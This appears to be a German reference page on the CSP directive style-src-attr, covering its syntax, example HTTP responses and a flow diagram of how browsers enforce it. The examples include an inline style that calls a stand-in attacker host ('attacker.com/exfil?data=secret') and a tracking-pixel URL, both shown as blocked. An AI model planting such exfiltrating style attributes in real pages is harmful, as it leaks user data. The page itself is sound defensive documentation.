HTTP CSP style-src-attr

Die style-src-attr Direktive der Content Security Policy kontrolliert style-Attribute in HTML-Elementen unabhängig von style-Elementen und Stylesheets.

Typ

CSP-Direktive zur Kontrolle von style-Attributen für granulare Inline-Styling-Security unabhängig von style-Elementen und externen Stylesheets in API-getriebenen Anwendungen.

Syntax

Die Direktive definiert erlaubte Quellen für style-Attribute. Bei Fehlen fällt sie auf style-src, dann default-src zurück.

http 
Content-Security-Policy: style-src-attr <source-list>

Direktiven

Die style-src-attr Direktive kontrolliert style-Attribute durch Hash-basierte Whitelisting-Mechanismen.

source-list
Erlaubte Quellen für Style-Attribute. Unterstützt 'unsafe-inline', 'unsafe-hashes' mit SHA-Hashes. URL-basierte Quellen sind nicht anwendbar, da Attribute keine externe Quelle haben.
'none'
Blockiert alle style-Attribute vollständig. Erzwingt Nutzung von CSS-Klassen statt Inline-Styles in modernen Frameworks.

Beispiele

Praktische Szenarien für style-src-attr in React SPAs Admin-Dashboards und E-Commerce-Systemen mit Hash-basierter Style-Freigabe.

SPA mit blockierten Inline-Style-Attributen

React-Applikationen verbieten alle style-Attribute und nutzen stattdessen CSS-Klassen:

http 
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src-attr 'none'; style-src 'self' https://cdn.example.com

<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" href="/app.css"> <!-- OK durch style-src -->
  <style>/* Inline styles */</style> <!-- OK durch style-src -->
</head>
<body>
  <!-- OK: CSS-Klassen -->
  <div class="text-red-500">Error</div>

  <!-- Blockiert: style-Attribut -->
  <div style="color: red">Error</div>

  <!-- Blockiert: potentielle Datenexfiltration -->
  <div style="background: url('https://attacker.com/exfil?data=secret')">Content</div>
</body>
</html>

Externe Stylesheets und <style>-Elemente sind erlaubt, aber style-Attribute werden blockiert.

API-Dashboard mit Hash-basierter Style-Freigabe

Admin-Dashboards erlauben spezifische Inline-Styles durch SHA-256-Hashes:

http 
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src-attr 'unsafe-hashes' 'sha256-xy4LkRNwJPZB5DD/MZYLkJUaGJ3x3cV0r4XYkU5m9pI='

<!DOCTYPE html>
<html>
<body>
  <!-- Erlaubt (Hash-Match für "display: none") -->
  <div style="display: none" data-toggle>Hidden content</div>

  <!-- Blockiert (anderer Hash) -->
  <div style="color: blue">Different style</div>

  <!-- Blockiert (CSS-injection Versuch) -->
  <div style="background: url('https://track.com/pixel')">Track me</div>
</body>
</html>

'unsafe-hashes' aktiviert Hash-basierte Freigabe. Nur der exakte CSS-Code mit passendem Hash wird angewendet.

E-Commerce mit unsafe-inline für Legacy-Code

Bestehende E-Commerce-Systeme mit Legacy-Templates erlauben temporär alle Inline-Styles:

http 
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src-attr 'unsafe-inline'; style-src 'self'
X-CSP-Migration: phase-1-audit

<!DOCTYPE html>
<html>
<body>
  <!-- Alle erlaubt während Migration -->
  <div style="margin: 20px">Product</div>
  <span style="font-weight: bold; color: #e11d48">Sale</span>

  <!-- Ziel: Refactoring zu CSS-Klassen -->
  <div class="product-margin">Product</div>
  <span class="sale-badge">Sale</span>
</body>
</html>

'unsafe-inline' erlaubt alle Style-Attribute. Report-Only Mode parallel nutzen, um Migration zu planen.

Style-Attribute-Validation-Flow

Visualisierung der style-src-attr Policy-Enforcement bei style-Attributen mit Hash-Validierung und CSS-Exfiltration-Prevention.

plantuml 
@startuml
actor User
participant "Browser" as Browser
participant "API Frontend" as API
participant "CSP Engine" as CSP

User -> Browser: Load page
Browser -> API: GET /dashboard
API -> Browser: HTML + CSP: style-src-attr 'none'; style-src 'self'
note right: Style-Attribute verboten\nStylesheets erlaubt

Browser -> Browser: Parse HTML
Browser -> Browser: Find <link rel="stylesheet" href="/app.css">

Browser -> CSP: Check style-src policy
CSP -> CSP: Evaluate: 'self' allows same-origin
CSP -> Browser: Allow stylesheet load
Browser -> API: GET /app.css
API -> Browser: CSS content
Browser -> Browser: Apply stylesheet styles

Browser -> Browser: Find <div style="color: red">
Browser -> CSP: Check style-src-attr policy
CSP -> CSP: Evaluate: 'none' blocks all
CSP -> Browser: Block inline style attribute
Browser -> Browser: Remove style attribute
note right: CSS-basierter Angriff verhindert

Browser -> User: Render without inline styles

alt Alternative: With 'unsafe-hashes'
    API -> Browser: CSP: style-src-attr 'unsafe-hashes' 'sha256-ABC'
    Browser -> Browser: Find <div style="display: none">
    Browser -> CSP: Check hash of "display: none"
    CSP -> CSP: Calculate SHA-256
    CSP -> CSP: Compare with 'sha256-ABC'
    alt Hash matches
        CSP -> Browser: Allow style
        Browser -> Browser: Apply inline style
    else Hash mismatch
        CSP -> Browser: Block style
        Browser -> Browser: CSP violation
    end
end
@enduml

Vorteile für die Systemarchitektur

Granulare Style-Attribut-Kontrolle verhindert CSS-Exfiltration und unterstützt Framework-Migration durch Hash-basierte Whitelisting-Mechanismen.

  • Granulare CSS-Kontrolle: Trennt Style-Attribut-Policy von style-Element-Policy ermöglicht stricte Inline-Style-Kontrolle ohne externe Stylesheets zu blockieren
  • CSS-Exfiltration-Prävention: Verhindert CSS-basierte Datenexfiltration durch background-image URL in Style-Attributen ein häufiger Angriffsvektor bei User-Generated Content
  • Framework-Migration-Unterstützung: Erleichtert Migration von Legacy-Code mit Inline-Styles zu modernen CSS-in-JS oder Utility-First-Ansätzen durch Report-Only Testing

Spezifikation

Die style-src-attr Direktive ist Teil der CSP Level 3 Spezifikation:

Wichtig: Diese Direktive kontrolliert NUR style-Attribute. <style>-Elemente und <link rel="stylesheet"> werden von style-src-elem kontrolliert. Für umfassende CSS-Kontrolle beide Direktiven nutzen.

Weitere Spezifikationen

CSP style-src, Content-Security-Policy Header